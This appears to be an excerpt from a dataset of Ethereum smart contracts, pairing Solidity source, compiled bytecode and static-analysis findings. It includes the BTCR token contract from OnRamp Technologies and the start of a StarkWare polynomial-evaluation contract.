11628f55a4df523b3ef8460405161045d91906111f2565b60405180910390a36104f7843384600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104f29190611492565b6108f2565b90509392505050565b6000600460009054906101000a900460ff1660ff16905090565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610591610f4d565b73ffffffffffffffffffffffffffffffffffffffff166105af610611565b73ffffffffffffffffffffffffffffffffffffffff1614610605576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105fc90611512565b60405180910390fd5b61060f6000610f55565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060038054610649906113a0565b80601f0160208091040260200160405190810160405280929190818152602001828054610675906113a0565b80156106c25780601f10610697576101008083540402835291602001916106c2565b820191906000526020600020905b8154815290600101906020018083116106a557829003601f168201915b5050505050905090565b60006106d9338484610a8d565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161073691906111f2565b60405180910390a36001905092915050565b60015481565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6107dd610f4d565b73ffffffffffffffffffffffffffffffffffffffff166107fb610611565b73ffffffffffffffffffffffffffffffffffffffff1614610851576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084890611512565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036108c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108b7906115a4565b60405180910390fd5b6108c981610f55565b50565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561095d5750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b61099c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099390611636565b60405180910390fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610a7a91906111f2565b60405180910390a3600190509392505050565b6000600560008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905060008473ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16149050600060015490506000600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054148015610bdb57506000600d60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b8015610be5575081155b15610c415780600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610c399190611492565b925050819055505b84600560008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118015610d0e5750600084145b15610d6a5780600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d629190611656565b925050819055505b80600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610db99190611656565b925050819055506000600154606486610dd291906116db565b610ddc919061170c565b90508085610dea9190611492565b945080600760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e3b9190611492565b9250508190555080600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e919190611656565b9250508190555084600760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ee79190611492565b9250508190555084600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f3d9190611656565b9250508190555050505050505050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611053578082015181840152602081019050611038565b83811115611062576000848401525b50505050565b6000601f19601f8301169050919050565b600061108482611019565b61108e8185611024565b935061109e818560208601611035565b6110a781611068565b840191505092915050565b600060208201905081810360008301526110cc8184611079565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611104826110d9565b9050919050565b611114816110f9565b811461111f57600080fd5b50565b6000813590506111318161110b565b92915050565b6000819050919050565b61114a81611137565b811461115557600080fd5b50565b60008135905061116781611141565b92915050565b60008060408385031215611184576111836110d4565b5b600061119285828601611122565b92505060206111a385828601611158565b9150509250929050565b60008115159050919050565b6111c2816111ad565b82525050565b60006020820190506111dd60008301846111b9565b92915050565b6111ec81611137565b82525050565b600060208201905061120760008301846111e3565b92915050565b600080600060608486031215611226576112256110d4565b5b600061123486828701611122565b935050602061124586828701611122565b925050604061125686828701611158565b9150509250925092565b611269816110f9565b82525050565b60006020820190506112846000830184611260565b92915050565b6000602082840312156112a05761129f6110d4565b5b60006112ae84828501611122565b91505092915050565b600080604083850312156112ce576112cd6110d4565b5b60006112dc85828601611122565b92505060206112ed85828601611122565b9150509250929050565b6000819050919050565b600061131c611317611312846110d9565b6112f7565b6110d9565b9050919050565b600061132e82611301565b9050919050565b600061134082611323565b9050919050565b61135081611335565b82525050565b600060208201905061136b6000830184611347565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806113b857607f821691505b6020821081036113cb576113ca611371565b5b50919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061142d602983611024565b9150611438826113d1565b604082019050919050565b6000602082019050818103600083015261145c81611420565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061149d82611137565b91506114a883611137565b9250828210156114bb576114ba611463565b5b828203905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006114fc602083611024565b9150611507826114c6565b602082019050919050565b6000602082019050818103600083015261152b816114ef565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061158e602683611024565b915061159982611532565b604082019050919050565b600060208201905081810360008301526115bd81611581565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611620602483611024565b915061162b826115c4565b604082019050919050565b6000602082019050818103600083015261164f81611613565b9050919050565b600061166182611137565b915061166c83611137565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156116a1576116a0611463565b5b828201905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006116e682611137565b91506116f183611137565b925082611701576117006116ac565b5b828204905092915050565b600061171782611137565b915061172283611137565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561175b5761175a611463565b5b82820290509291505056fea264697066735822122086e1552d48998414d8a28b71f64aeb3b538dfc6f914c70d97c653512113e63d964736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 4,465 |
0xd47e449c721eb270341b690960576c333f2c1174
|
/*
file: BTCR.sol
ver: 0.0.1_deploy
author: OnRamp Technologies Pty Ltd
date: 18-Sep-2018
email: support@onramp.tech
Licence
-------
(c) 2018 OnRamp Technologies Pty Ltd
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (Software), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and sell copies of the Software (or any combination of that), and to permit persons to whom the Software is furnished to do so, subject to the following fundamental conditions:
1. The above copyright notice and this permission notice must be included in all copies or substantial portions of the Software.
2. Subject only to the extent to which applicable law cannot be excluded, modified or limited:
2.1 The Software is provided "as is", without warranty of any kind, express or implied, including but not limited to the warranties of merchantability, fitness for a particular purpose and non-infringement of third party rights.
2.2 In no event will the authors, copyright holders or other persons in any way associated with any of them be liable for any claim, damages or other liability, whether in an action of contract, tort, fiduciary duties or otherwise, arising from, out of or in connection with the Software or the use or other dealings in the Software (including, without limitation, for any direct, indirect, special, consequential or other damages, in any case, whether for any lost profits, business interruption, loss of information or programs or other data or otherwise) even if any of the authors, copyright holders or other persons associated with any of them is expressly advised of the possibility of such damages.
2.3 To the extent that liability for breach of any implied warranty or conditions cannot be excluded by law, our liability will be limited, at our sole discretion, to resupply those services or the payment of the costs of having those services resupplied.
The Software includes small (not substantial) portions of other software which was available under the MIT License. Identification and attribution of these portions is available in the Software’s associated documentation files.
Release Notes
-------------
* Onramp.tech tokenises real assets. Based in Sydney, Australia, we're blessed with strong rule of law, and great beaches. Welcome to OnRamp.
* This contract is BTCR, Bitcoin as an ERC20 token.
* see https://onramp.tech/ for further information
Dedications
-------------
* Lastly, I come to the question of the money: it is a very heavy burden...... x CREW x
*/
pragma solidity ^0.4.17;
contract BTCRConfig
{
// ERC20 token name
string public constant name = "BTC Ramp";
// ERC20 trading symbol
string public constant symbol = "BTCR";
// Contract owner at time of deployment.
address public constant OWNER = 0x8579A678Fc76cAe308ca280B58E2b8f2ddD41913;
// Contract 2nd admin
address public constant ADMIN_TOO = 0xE7e10A474b7604Cfaf5875071990eF46301c209c;
// Opening Supply
uint public constant TOTAL_TOKENS = 10;
// ERC20 decimal places
uint8 public constant decimals = 18;
}
library SafeMath
{
// a add to b
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
assert(c >= a);
}
// a subtract b
function sub(uint a, uint b) internal pure returns (uint c) {
c = a - b;
assert(c <= a);
}
// a multiplied by b
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
assert(a == 0 || c / a == b);
}
// a divided by b
function div(uint a, uint b) internal pure returns (uint c) {
assert(b != 0);
c = a / b;
}
}
contract ReentryProtected
{
// The reentry protection state mutex.
bool __reMutex;
// Sets and clears mutex in order to block function reentry
modifier preventReentry() {
require(!__reMutex);
__reMutex = true;
_;
delete __reMutex;
}
// Blocks function entry if mutex is set
modifier noReentry() {
require(!__reMutex);
_;
}
}
contract ERC20Token
{
using SafeMath for uint;
/* Constants */
// none
/* State variable */
/// @return The Total supply of tokens
uint public totalSupply;
/// @return Tokens owned by an address
mapping (address => uint) balances;
/// @return Tokens spendable by a thridparty
mapping (address => mapping (address => uint)) allowed;
/* Events */
// Triggered when tokens are transferred.
event Transfer(
address indexed _from,
address indexed _to,
uint256 _amount);
// Triggered whenever approve(address _spender, uint256 _amount) is called.
event Approval(
address indexed _owner,
address indexed _spender,
uint256 _amount);
/* Modifiers */
// none
/* Functions */
// Using an explicit getter allows for function overloading
function balanceOf(address _addr)
public
view
returns (uint)
{
return balances[_addr];
}
// Quick checker on total supply
function currentSupply()
public
view
returns (uint)
{
return totalSupply;
}
// Using an explicit getter allows for function overloading
function allowance(address _owner, address _spender)
public
constant
returns (uint)
{
return allowed[_owner][_spender];
}
// Send _value amount of tokens to address _to
function transfer(address _to, uint256 _amount)
public
returns (bool)
{
return xfer(msg.sender, _to, _amount);
}
// Send _value amount of tokens from address _from to address _to
function transferFrom(address _from, address _to, uint256 _amount)
public
returns (bool)
{
require(_amount <= allowed[_from][msg.sender]);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
return xfer(_from, _to, _amount);
}
// Process a transfer internally.
function xfer(address _from, address _to, uint _amount)
internal
returns (bool)
{
require(_amount <= balances[_from]);
emit Transfer(_from, _to, _amount);
// avoid wasting gas on 0 token transfers
if(_amount == 0) return true;
balances[_from] = balances[_from].sub(_amount);
balances[_to] = balances[_to].add(_amount);
return true;
}
// Approves a third-party spender
function approve(address _spender, uint256 _amount)
public
returns (bool)
{
allowed[msg.sender][_spender] = _amount;
emit Approval(msg.sender, _spender, _amount);
return true;
}
}
contract BTCRAbstract
{
/// @dev Logged when new owner accepts ownership
/// @param _from the old owner address
/// @param _to the new owner address
event ChangedOwner(address indexed _from, address indexed _to);
/// @dev Logged when owner initiates a change of ownership
/// @param _to the new owner address
event ChangeOwnerTo(address indexed _to);
/// @dev Logged when new adminToo accepts the role
/// @param _from the old owner address
/// @param _to the new owner address
event ChangedAdminToo(address indexed _from, address indexed _to);
/// @dev Logged when owner initiates a change of ownership
/// @param _to the new owner address
event ChangeAdminToo(address indexed _to);
// State Variables
//
/// @dev An address permissioned to enact owner restricted functions
/// @return owner
address public owner;
/// @dev An address permissioned to take ownership of the contract
/// @return new owner address
address public newOwner;
/// @dev An address used in the withdrawal process
/// @return adminToo
address public adminToo;
/// @dev An address permissioned to become the withdrawal process address
/// @return new admin address
address public newAdminToo;
//
// Modifiers
//
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
//
// Function Abstracts
//
/// @notice Make bulk transfer of tokens to many addresses
/// @param _addrs An array of recipient addresses
/// @param _amounts An array of amounts to transfer to respective addresses
/// @return Boolean success value
function transferToMany(address[] _addrs, uint[] _amounts)
public returns (bool);
/// @notice Salvage `_amount` tokens at `_kaddr` and send them to `_to`
/// @param _kAddr An ERC20 contract address
/// @param _to and address to send tokens
/// @param _amount The number of tokens to transfer
/// @return Boolean success value
function transferExternalToken(address _kAddr, address _to, uint _amount)
public returns (bool);
}
/*-----------------------------------------------------------------------------\
BTCR implementation
\*----------------------------------------------------------------------------*/
contract BTCR is
ReentryProtected,
ERC20Token,
BTCRAbstract,
BTCRConfig
{
using SafeMath for uint;
//
// Constants
//
// Token fixed point for decimal places
uint constant TOKEN = uint(10)**decimals;
//
// Functions
//
constructor()
public
{
owner = OWNER;
adminToo = ADMIN_TOO;
totalSupply = TOTAL_TOKENS.mul(TOKEN);
balances[owner] = totalSupply;
}
// Default function.
function ()
public
payable
{
// nothing to see here, folks....
}
//
// Manage supply
//
event LowerSupply(address indexed burner, uint256 value);
event IncreaseSupply(address indexed burner, uint256 value);
/**
* @dev lowers the supply by a specified amount of tokens.
* @param _value The amount of tokens to lower the supply by.
*/
function lowerSupply(uint256 _value)
public
onlyOwner {
require(_value > 0);
address burner = adminToo;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
emit LowerSupply(msg.sender, _value);
}
function increaseSupply(uint256 _value)
public
onlyOwner {
require(_value > 0);
totalSupply = totalSupply.add(_value);
balances[owner] = balances[owner].add(_value);
emit IncreaseSupply(msg.sender, _value);
}
//
// ERC20 additional functions
//
// Allows a sender to transfer tokens to an array of recipients
function transferToMany(address[] _addrs, uint[] _amounts)
public
noReentry
returns (bool)
{
require(_addrs.length == _amounts.length);
uint len = _addrs.length;
for(uint i = 0; i < len; i++) {
xfer(msg.sender, _addrs[i], _amounts[i]);
}
return true;
}
// Overload placeholder - could apply further logic
function xfer(address _from, address _to, uint _amount)
internal
noReentry
returns (bool)
{
super.xfer(_from, _to, _amount);
return true;
}
//
// Contract management functions
//
// Initiate a change of owner to `_owner`
function changeOwner(address _owner)
public
onlyOwner
returns (bool)
{
emit ChangeOwnerTo(_owner);
newOwner = _owner;
return true;
}
// Finalise change of ownership to newOwner
function acceptOwnership()
public
returns (bool)
{
require(msg.sender == newOwner);
emit ChangedOwner(owner, msg.sender);
owner = newOwner;
delete newOwner;
return true;
}
// Initiate a change of 2nd admin to _adminToo
function changeAdminToo(address _adminToo)
public
onlyOwner
returns (bool)
{
emit ChangeAdminToo(_adminToo);
newAdminToo = _adminToo;
return true;
}
// Finalise change of 2nd admin to newAdminToo
function acceptAdminToo()
public
returns (bool)
{
require(msg.sender == newAdminToo);
emit ChangedAdminToo(adminToo, msg.sender);
adminToo = newAdminToo;
delete newAdminToo;
return true;
}
// Owner can salvage ERC20 tokens that may have been sent to the account
function transferExternalToken(address _kAddr, address _to, uint _amount)
public
onlyOwner
preventReentry
returns (bool)
{
require(ERC20Token(_kAddr).transfer(_to, _amount));
return true;
}
}
|
0x6080604052600436106101475763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041662bece85811461014957806306fdde031461017a578063095ea7b3146102045780630b7abf771461023c5780630c08e54914610263578063117803e31461027857806318160ddd1461028d57806323b872dd146102a25780632fbd2432146102cc578063313ce567146102f657806339bb32901461032157806370a0823114610336578063771282f61461035757806379ba50971461036c5780637c33ebfd146103815780638da5cb5b1461040f57806395d89b4114610424578063a6f9dae114610439578063a9059cbb1461045a578063b61951341461047e578063b921e1631461049f578063c7153816146104b7578063c77bd8cc146104cf578063d4ee1d90146104e4578063dd62ed3e146104f9575b005b34801561015557600080fd5b5061015e610520565b60408051600160a060020a039092168252519081900360200190f35b34801561018657600080fd5b5061018f61052f565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101c95781810151838201526020016101b1565b50505050905090810190601f1680156101f65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561021057600080fd5b50610228600160a060020a0360043516602435610566565b604080519115158252519081900360200190f35b34801561024857600080fd5b506102516105cd565b60408051918252519081900360200190f35b34801561026f57600080fd5b5061015e6105d2565b34801561028457600080fd5b5061015e6105e1565b34801561029957600080fd5b506102516105f9565b3480156102ae57600080fd5b50610228600160a060020a03600435811690602435166044356105ff565b3480156102d857600080fd5b50610228600160a060020a036004358116906024351660443561069c565b34801561030257600080fd5b5061030b61078a565b6040805160ff9092168252519081900360200190f35b34801561032d57600080fd5b5061015e61078f565b34801561034257600080fd5b50610251600160a060020a03600435166107a7565b34801561036357600080fd5b506102516107c2565b34801561037857600080fd5b506102286107c8565b34801561038d57600080fd5b506040805160206004803580820135838102808601850190965280855261022895369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a9989019892975090820195509350839250850190849080828437509497506108529650505050505050565b34801561041b57600080fd5b5061015e6108d1565b34801561043057600080fd5b5061018f6108e0565b34801561044557600080fd5b50610228600160a060020a0360043516610917565b34801561046657600080fd5b50610228600160a060020a0360043516602435610997565b34801561048a57600080fd5b50610228600160a060020a03600435166109a4565b3480156104ab57600080fd5b50610147600435610a24565b3480156104c357600080fd5b50610147600435610adf565b3480156104db57600080fd5b50610228610b9b565b3480156104f057600080fd5b5061015e610c25565b34801561050557600080fd5b50610251600160a060020a0360043581169060243516610c34565b600754600160a060020a031681565b60408051808201909152600881527f4254432052616d70000000000000000000000000000000000000000000000000602082015281565b336000818152600360209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a35060015b92915050565b600a81565b600654600160a060020a031681565b738579a678fc76cae308ca280b58e2b8f2ddd4191381565b60015481565b600160a060020a038316600090815260036020908152604080832033845290915281205482111561062f57600080fd5b600160a060020a0384166000908152600360209081526040808320338452909152902054610663908363ffffffff610c5f16565b600160a060020a0385166000908152600360209081526040808320338452909152902055610692848484610c6c565b90505b9392505050565b600454600090600160a060020a031633146106b657600080fd5b60005460ff16156106c657600080fd5b6000805460ff19166001178155604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a0386811660048301526024820186905291519187169263a9059cbb926044808401936020939083900390910190829087803b15801561073f57600080fd5b505af1158015610753573d6000803e3d6000fd5b505050506040513d602081101561076957600080fd5b5051151561077657600080fd5b5060016000805460ff191690559392505050565b601281565b73e7e10a474b7604cfaf5875071990ef46301c209c81565b600160a060020a031660009081526002602052604090205490565b60015490565b600554600090600160a060020a031633146107e257600080fd5b6004546040513391600160a060020a0316907f2748503f8f31d8071821d1d5144384ba6a465036cda17fa1629a8a2509ccee0e90600090a350600580546004805473ffffffffffffffffffffffffffffffffffffffff19908116600160a060020a03841617909155169055600190565b600080548190819060ff161561086757600080fd5b835185511461087557600080fd5b5050825160005b818110156108c6576108bd33868381518110151561089657fe5b9060200190602002015186848151811015156108ae57fe5b90602001906020020151610c6c565b5060010161087c565b506001949350505050565b600454600160a060020a031681565b60408051808201909152600481527f4254435200000000000000000000000000000000000000000000000000000000602082015281565b600454600090600160a060020a0316331461093157600080fd5b604051600160a060020a038316907fbc48fdaddfcfb54d36a0ac4d7e52f46cdf854784b9c0978d385a35e8383262d490600090a25060058054600160a060020a03831673ffffffffffffffffffffffffffffffffffffffff199091161790556001919050565b6000610695338484610c6c565b600454600090600160a060020a031633146109be57600080fd5b604051600160a060020a038316907fdda7358aeab74af29f6fd87456759acfadfec9f215b80cfb12f46efb82a0e22f90600090a25060078054600160a060020a03831673ffffffffffffffffffffffffffffffffffffffff199091161790556001919050565b600454600160a060020a03163314610a3b57600080fd5b60008111610a4857600080fd5b600154610a5b908263ffffffff610c8816565b600155600454600160a060020a0316600090815260026020526040902054610a89908263ffffffff610c8816565b600454600160a060020a0316600090815260026020908152604091829020929092558051838152905133927f430080bcaaf4832a6fedf62b6ce7849b50c273246fdc69a13ce54e9772008f1c928290030190a250565b600454600090600160a060020a03163314610af957600080fd5b60008211610b0657600080fd5b50600654600160a060020a0316600081815260026020526040902054610b32908363ffffffff610c5f16565b600160a060020a038216600090815260026020526040902055600154610b5e908363ffffffff610c5f16565b60015560408051838152905133917fdd6f00e8a9452d1d47becb3beca914f79b034a152cc9bf2822355e16158fcea3919081900360200190a25050565b600754600090600160a060020a03163314610bb557600080fd5b6006546040513391600160a060020a0316907fd03d2a9fe0624a98019e2bd32f4e394ac505174e212b2ead935a29bc83e8e9e990600090a350600780546006805473ffffffffffffffffffffffffffffffffffffffff19908116600160a060020a03841617909155169055600190565b600554600160a060020a031681565b600160a060020a03918216600090815260036020908152604080832093909416825291909152205490565b808203828111156105c757fe5b6000805460ff1615610c7d57600080fd5b6108c6848484610c95565b818101828110156105c757fe5b600160a060020a038316600090815260026020526040812054821115610cba57600080fd5b82600160a060020a031684600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3811515610d1457506001610695565b600160a060020a038416600090815260026020526040902054610d3d908363ffffffff610c5f16565b600160a060020a038086166000908152600260205260408082209390935590851681522054610d72908363ffffffff610c8816565b600160a060020a0384166000908152600260205260409020555060019392505050565b818102821580610daf5750818382811515610dac57fe5b04145b15156105c757fe00a165627a7a72305820f518f5a752f3fb84106a90b413e3b97c5fd16effbd16be96c555904f097ca5c00029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 4,466 |
0x8a9eDFBcAe434A8f29f24Cbb3bC1480517E7C13f
|
/*
Copyright 2019,2020 StarkWare Industries Ltd.
Licensed under the Apache License, Version 2.0 (the "License").
You may not use this file except in compliance with the License.
You may obtain a copy of the License at
https://www.starkware.co/open-source-license/
Unless required by applicable law or agreed to in writing,
software distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions
and limitations under the License.
*/
pragma solidity ^0.5.2;
contract EcdsaPointsXColumn {
function compute(uint256 x) external pure returns(uint256 result) {
uint256 PRIME = 0x800000000000011000000000000000000000000000000000000000000000001;
assembly {
// Use Horner's method to compute f(x).
// The idea is that
// a_0 + a_1 * x + a_2 * x^2 + ... + a_n * x^n =
// (...(((a_n * x) + a_{n-1}) * x + a_{n-2}) * x + ...) + a_0.
// Consequently we need to do deg(f) horner iterations that consist of:
// 1. Multiply the last result by x
// 2. Add the next coefficient (starting from the highest coefficient)
//
// We slightly diverge from the algorithm above by updating the result only once
// every 7 horner iterations.
// We do this because variable assignment in solidity's functional-style assembly results in
// a swap followed by a pop.
// 7 is the highest batch we can do due to the 16 slots limit in evm.
result :=
add(0x5d4c38bd21ee4c36da189b6114280570d274811852ed6788ba0570f2414a914, mulmod(
add(0x324182d53af0aa949e3b5ef1cda6d56bed021853be8bcef83bf87df8b308b5a, mulmod(
add(0x4e1b2bc38487c21db3fcea13aaf850884b9aafee1e3a9e045f204f24f4ed900, mulmod(
add(0x5febf85978de1a675512012a9a5d5c89590284d93ae486a94b7bd8df0032421, mulmod(
add(0xf685b119593168b5dc2b7887e7f1720165a1bd180b86185590ba3393987935, mulmod(
add(0x2bc4092c868bab2802fe0ba3cffdb1eed98b88a2a35d8c9b94a75f695bd3323, mulmod(
add(0x22aac295d2c9dd7e94269a4a72b2fb3c3af04a0cb42ed1f66cfd446fc505ee2, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x44a14e5af0c3454a97df201eb3e4c91b5925d06da6741c055504c10ea8a534d, mulmod(
add(0x749e86688f11d3d0ef67e4f55535c715a475ceec08547c81d11de8884436d8d, mulmod(
add(0x703dcca99c0a4f2b2b7f1b653dbbf907dd1958c248de5dcb35be82031f7d170, mulmod(
add(0xb0e39f10e5433b2341ecef312e79ed95d5c8fe5a2e571490dd789dad41a2b9, mulmod(
add(0x52e5e75be2c96802a958af156a9e171dc7d5cfa7f586d90ed45027e57c5fe92, mulmod(
add(0x66d15398bbd83688bda1d5372e048536a27d011f0f54a6311971822f55f9c07, mulmod(
add(0x529414d56e9f6bf4ce8be38c8f79ffab78b185da61d606c411098f981f139a, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x7fdc637318ea00385719f9ce50848d13cc955eef9f36a90b87e646dac85e3aa, mulmod(
add(0x39d9d83e0ac884a5ee0f2d227f9eda71724a55002a41938458e45251e121308, mulmod(
add(0x785dc572a88712cb4eddcc8a167bb1b62f9a79282f21ee92a0374af76169344, mulmod(
add(0x1d0f94ce5d9d3beaa42ebed05a2f172aa2227e9a9fee0bf43a3fb068c1ac345, mulmod(
add(0x51170abac6896de6a5b478741dd56f52b1d2a1feea59b1f26d060e09ed98b32, mulmod(
add(0x5e2909b1136e1d6608663e5cbabb616b28d2fd6f5dfb7cd03c4a7e719b7c53f, mulmod(
add(0x6cd537aebc479350e63acbcf7b9da84f4b06c6c26a571d3a7dd416a94a956ca, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x2d626ebcfae2d3618e350c190fc636495fbb04dd4a4e563680fb961a3d30d8, mulmod(
add(0x6f4ab1f3bccea47669a4c93da36db05bd6f5197945b5ab29191a703312ed3a8, mulmod(
add(0x3ca8d84242dd2bd2a5d6e644fa1dc9f5082ee6131b6f0db8fd7d4f87109098b, mulmod(
add(0x5b0343972ee9e17afaf76adc54e6797d54e6e47a7ea1167654ce076e3c6c360, mulmod(
add(0x62773dee1773834dbb324c4c0d48dcdf9bbf0511547feb1b2ab0f7af7fa2dc2, mulmod(
add(0x4c484b2cc04747d8d812180ec716f779302231983fa17971b575274c0a9c378, mulmod(
add(0x72d82458ba49cd6c638f89d2e3a68e49944f486cdfb7d2848e51aa9f99292a4, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x7850ac1ef437d1b99c026a910b2437c1b877242e605c8f31a456f10e2f78743, mulmod(
add(0x58a6d8229d82c192f190e55d28489f621cbcc64e4ef10c1ec5663c5384e60f, mulmod(
add(0x98ad9c2080ba0663fb302025e6224cff41d1d30c5c9101ad77a48a71d8ac, mulmod(
add(0x4f8cecab5f743c7227a63fa7f320930ffa7cc52b0fff6c351d3e9d4c22f9f9a, mulmod(
add(0x150c633a21f3cfa157978e9561161f3953e180b9588347a0c819e4173afcfa8, mulmod(
add(0x34b7ebee71c5876183407c57610a0a8a33d3138ccd6ae416651cd505e5761d9, mulmod(
add(0x42f0a74ce045e8194b7a5cac4e882b1f1a9face49c38fb3383cfd3d960806c, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x70af32c484244d3435bb65b0ed076f48d06abb45b7765de9c6f26c1c8e9156d, mulmod(
add(0x75275c33b919425b271966642fabd9ea7c917e70e96eda669040935b1d49db6, mulmod(
add(0x7122e4b28d4ee35902b7f7b8ad5f525b6c70a2f2bb6b4ee4b9f0008845ffacf, mulmod(
